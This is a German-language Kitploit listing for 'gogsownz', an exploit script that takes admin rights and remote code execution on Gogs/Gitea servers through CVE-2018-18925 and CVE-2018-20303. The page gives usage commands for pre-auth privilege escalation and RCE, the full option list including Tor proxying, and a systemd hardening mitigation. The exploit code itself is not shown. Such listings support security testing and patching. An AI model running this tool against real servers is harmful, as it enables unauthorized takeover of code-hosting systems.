Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
gogsownz — Gogs CVEs | Kitploit
Tools/GitHubGitHub/thez3ro/gogsownz
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationRemote-Access-Tool
GitHubthez3ro/gogsownz

gogsownz

Gogs CVEs

Repository anzeigen
79154vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

GogsOwnz

GogsOwnz ist ein einfaches Skript, um Administratorrechte und RCE auf einem Gogs/Gitea-Server zu erlangen.
Nutzt Schwachstellen in Gogs/Gitea aus, einschließlich CVE-2018-18925, CVE-2018-20303.

Legal Disclaimer
Dieses Skript wird ohne Gewähr angeboten. Keine Garantie, Nutzung auf eigenes Risiko, bitte befolgen Sie das Gesetz.

Typische Verwendung - [Bitte lesen Sie die vollständige Verwendung]

Informationen über laufende Gogs/Gitea-Instanz abrufen

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v --info

Preauth-Privesc ausnutzen

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth

Privesc ausnutzen

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --cleanup

oder alternativ

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v -c '<i_like_gogs_cookie>' --cleanup

Preauth-RCE ausnutzen

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth --rce 'sleep 10' --cleanup

Auth-RCE ausnutzen

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --rce 'sleep 10' --cleanup

Vollständige Verwendung

root@kitploit:~
usage: gogsownz [-h] [-C CREDS] [-n COOKIENAME] [-c COOKIE] [-i] [--rce RCE]
                [--repo REPO] [--preauth] [--windows] [--cleanup] [--tor]
                [--check-tor] [--burp] [-k] [--verbose]
                url

positional arguments:
  url                   URL for the Gogs server

optional arguments:
  -h, --help            show this help message and exit
  -C CREDS, --creds CREDS
                        Credentials for the Gogs server, in the from
                        "username:password"
  -n COOKIENAME, --cookie-name COOKIENAME
                        Name of the Gogs-specific session cookie
  -c COOKIE, --cookie COOKIE
                        Session for the Gogs server, the value in the
                        i_like_gogits Cookie
  -i, --info            Only detect informations about the running Gogs
                        server, then quit
  --rce RCE             Command to execute on the Gogs server
  --repo REPO           Use an existing repo for the PrivEsc
  --preauth             Try the pre-auth vulnerability
  --windows             Gogs server runs on Windows
  --cleanup             Remove all created repo after exploit
  --tor                 Use tor proxy when performing requests
  --check-tor           Check that Tor is correctly set up before running
  --burp                Use burp proxy when performing requests
  -k, --insecure        Allow insecure server connections when using SSL
  --verbose, -v

Danksagungen

Dank an:

  • Tencent Security (@md5_salt, @ma7h1as and @chromium1337)
  • PentesterLab (@snyff)
  • LuckyC4t
  • the gogs security community :D

Weiterführende Informationen

https://github.com/gogs/gogs/issues/5469
https://github.com/gogs/gogs/issues/5558
https://github.com/gogs/gogs/commit/8c8c37a66b4cef6fc8a995ab1b4fd6e530c49c51
https://github.com/gogs/gogs/issues/5599
https://2018.zeronights.ru/wp-content/uploads/materials/17-Who-owned-your-code.pdf

Abhilfemaßnahmen

Wenn Sie beim Einrichten Ihrer systemd-Unit-Datei sorgfältig vorgehen, werden Sie angenehm überrascht sein, dass die Ausnutzung einigermaßen eingeschränkt ist:

root@kitploit:~
[Unit]
Description=Gogs
After=syslog.target
After=network.target

[Service]
Type=simple
User=gogs
Group=gogs
WorkingDirectory=/home/gogs/installations/gogs/
ExecStart=/home/gogs/installations/gogs/gogs web
Restart=always
Environment=USER=gogs HOME=/home/gogs

# Some distributions may not support these hardening directives. If you cannot start the service due
# to an unknown option, comment out the ones not supported by your version of systemd.
ProtectSystem=full
PrivateDevices=yes
PrivateTmp=yes
NoNewPrivileges=true

[Install]
WantedBy=multi-user.target

Dies hält den Dateisystemzugriff zumindest auf ein von systemd erstelltes flüchtiges Dateisystem beschränkt. Es hilft, aber Sie sollten wahrscheinlich den Privesc-Patch anwenden und keine Admin-Rechte vergeben .. offensichtlich.

Tool herunterladen